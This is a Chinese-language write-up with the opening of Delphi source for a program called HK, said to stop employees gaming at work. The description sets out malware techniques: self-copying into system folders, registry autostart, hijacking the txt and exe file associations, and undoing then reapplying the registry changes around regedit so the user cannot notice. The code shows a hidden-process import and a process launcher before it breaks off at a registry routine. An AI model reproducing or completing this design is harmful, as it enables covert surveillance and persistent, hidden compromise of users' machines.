1、程序运行后将自身以不同的名称一式三份存到系统各目录中，将其中一个COPY写到注册表里开机自启动，然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY，达到监控目的。
3、如果程序监控到用户运行regedit则会将注册表改回正常值，当regedit退出后再将修改写回，以防用户发现。（这在杀毒软件还很落后的年代效果还是相当好的）
1 //为了防止一些人上班就玩游戏的恶习所编
2 program HK;
3
4 uses
5 Windows,
6 Messages,
7 SysUtils,
8 System,
9 Classes,
10 Registry,
11 Forms,
12 Controls,
13 LoadDLL in 'LoadDLL.pas';
14
15 var
16 I:Integer;
17 SPath,WPath:PCHAR;
18 pa:string;
19 hnd: THandle;
20 sp:boolean;
21 sFileName:String;
22
23
24 //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;
25
26 //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';
27
28 procedure procRun(exeName,exePath:PChar;trace:boolean);
29 var
30 SUInfo: TStartupInfo;
31 ProcInfo: TProcessInformation;
32 begin
33 FillChar(SUInfo, SizeOf(SUInfo), #0);
34 with SUInfo do
35 begin
36 cb := SizeOf(SUInfo);
37 dwFlags := STARTF_USESHOWWINDOW;
38 wShowWindow :=1;
39 end;
40 if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
41 begin
42 if trace then
43 WaitForSingleObject(ProcInfo.hProcess, INFINITE);
44 CloseHandle(ProcInfo.hProcess);
45 CloseHandle(ProcInfo.hThread);
46 end;
47 end;
48
49 procedure procSetReg(rest:boolean);
50 var
51 Reg:TRegistry;
52
